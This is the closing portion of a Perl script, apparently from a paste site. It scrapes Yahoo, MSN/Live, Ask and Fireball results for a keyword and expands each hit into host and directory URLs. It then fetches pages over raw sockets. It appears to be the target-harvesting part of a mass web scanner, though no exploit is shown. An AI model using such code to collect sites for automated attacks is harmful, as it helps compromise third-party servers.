  1473. push(@lst,@grep);
  1474. }}
  1475. return @lst;
  1476. }
  1477.  
  1478. sub yahooa(){
  1479. my @lst;
  1480. my $key = $_[0];
  1481. for($b=210;$b<=1000;$b+=210){
  1482. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1483. my $Res=query($Ya);
  1484. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1485. my $k=$1;
  1486. $k=~s/<b>//g;
  1487. $k=~s/<\/b>//g;
  1488. $k=~s/<wbr>//g;
  1489. my @grep=links($k);
  1490. push(@lst,@grep);
  1491. }}
  1492. return @lst;
  1493. }
  1494.  
  1495. sub yahoob(){
  1496. my @lst;
  1497. my $key = $_[0];
  1498. for($b=410;$b<=1000;$b+=210){
  1499. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1500. my $Res=query($Ya);
  1501. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1502. my $k=$1;
  1503. $k=~s/<b>//g;
  1504. $k=~s/<\/b>//g;
  1505. $k=~s/<wbr>//g;
  1506. my @grep=links($k);
  1507. push(@lst,@grep);
  1508. }}
  1509. return @lst;
  1510. }
  1511.  
  1512. sub yahooc(){
  1513. my @lst;
  1514. my $key = $_[0];
  1515. for($b=610;$b<=1000;$b+=210){
  1516. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1517. my $Res=query($Ya);
  1518. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1519. my $k=$1;
  1520. $k=~s/<b>//g;
  1521. $k=~s/<\/b>//g;
  1522. $k=~s/<wbr>//g;
  1523. my @grep=links($k);
  1524. push(@lst,@grep);
  1525. }}
  1526. return @lst;
  1527. }
  1528.  
  1529. sub yahood(){
  1530. my @lst;
  1531. my $key = $_[0];
  1532. for($b=810;$b<=1000;$b+=210){
  1533. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1534. my $Res=query($Ya);
  1535. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1536. my $k=$1;
  1537. $k=~s/<b>//g;
  1538. $k=~s/<\/b>//g;
  1539. $k=~s/<wbr>//g;
  1540. my @grep=links($k);
  1541. push(@lst,@grep);
  1542. }}
  1543. return @lst;
  1544. }
  1545.  
  1546. #####
  1547. # SUBS MSN
  1548. #####
  1549. sub msn(){
  1550. my @lst;
  1551. my $key = $_[0];
  1552. for($b=1;$b<=1000;$b+=10){
  1553. my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
  1554. my $Res=query($MsN);
  1555. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1556. if($1 !~ /msn|live/){
  1557. my $k=$1;
  1558. my @grep=links($k);
  1559. push(@lst,@grep);
  1560. }}}
  1561. return @lst;
  1562. }
  1563.  
  1564. #####
  1565. # SUBS ASK
  1566. #####
  1567. sub ask(){
  1568. my @lst;
  1569. my $key=$_[0];
  1570. my $i=0;
  1571. my $pg=0;
  1572. for($i=0; $i<=1000; $i+=10)
  1573. {
  1574. my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
  1575. my $Res=query($Ask);
  1576. while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
  1577. my $k=$3;
  1578. $k=~s/[\"\ ]//g;
  1579. my @grep=links($k);
  1580. push(@lst,@grep);
  1581. }}
  1582. return @lst;
  1583. }
  1584.  
  1585. #####
  1586. # SUBS FireBall
  1587. #####
  1588. sub fireball(){
  1589. my $key=$_[0];
  1590. my $inizio=1;
  1591. my $pagine=200;
  1592. my @lst;
  1593. my $av=0;
  1594. while($inizio <= $pagine){
  1595. my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
  1596. my $Res=query($fireball);
  1597. while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
  1598. if ($1 !~ /msn|live|google|yahoo/){
  1599. my $k="$1/";
  1600. my @grep=links($k);
  1601. push(@lst,@grep);
  1602. }}
  1603. $av=$av+10;
  1604. $inizio++;
  1605. }
  1606. return @lst;
  1607. }
  1608.  
  1609.  
  1610. sub links()
  1611. {
  1612. my @l;
  1613. my $link=$_[0];
  1614. my $host=$_[0];
  1615. my $hdir=$_[0];
  1616. $hdir=~s/(.*)\/[^\/]*$/\1/;
  1617. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1618. $host.="/";
  1619. $link.="/";
  1620. $hdir.="/";
  1621. $host=~s/\/\//\//g;
  1622. $hdir=~s/\/\//\//g;
  1623. $link=~s/\/\//\//g;
  1624. push(@l,$link,$host,$hdir);
  1625. return @l;
  1626. }
  1627.  
  1628. sub geths(){
  1629. my $host=$_[0];
  1630. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1631. return $host;
  1632. }
  1633.  
  1634. sub key(){
  1635. my $chiave=$_[0];
  1636. $chiave =~ s/ /\+/g;
  1637. $chiave =~ s/:/\%3A/g;
  1638. $chiave =~ s/\//\%2F/g;
  1639. $chiave =~ s/&/\%26/g;
  1640. $chiave =~ s/\"/\%22/g;
  1641. $chiave =~ s/,/\%2C/g;
  1642. $chiave =~ s/\\/\%5C/g;
  1643. return $chiave;
  1644. }
  1645.  
  1646. sub query($){
  1647. my $url=$_[0];
  1648. $url=~s/http:\/\///;
  1649. my $host=$url;
  1650. my $query=$url;
  1651. my $page="";
  1652. $host=~s/href=\"?http:\/\///;
  1653. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1654. $query=~s/$host//;
  1655. if ($query eq "") {$query="/";};
  1656. eval {
  1657. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1658. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1659. my @r = <$sock>;
  1660. $page="@r";
  1661. close($sock);
  1662. };
  1663. return $page;
  1664. }
  1665.  
  1666. sub unici{
  1667. my @unici = ();
  1668. my %visti = ();
  1669. foreach my $elemento ( @_ )
  1670. {
  1671. next if $visti{ $elemento }++;
  1672. push @unici, $elemento;
  1673. }
  1674. return @unici;
  1675. }
  1676.  
  1677. sub http_query($){
  1678. my ($url) = @_;
  1679. my $host=$url;
  1680. my $query=$url;
  1681. my $page="";
  1682. $host =~ s/href=\"?http:\/\///;
  1683. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1684. $query =~s/$host//;
  1685. if ($query eq "") {$query="/";};
  1686. eval {
  1687. local $SIG{ALRM} = sub { die "1";};
  1688. alarm 10;
  1689. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1690. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1691. my @r = <$sock>;
  1692. $page="@r";
  1693. alarm 0;
  1694. close($sock);
  1695. };
  1696. return $page;
  1697. }
  1698. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement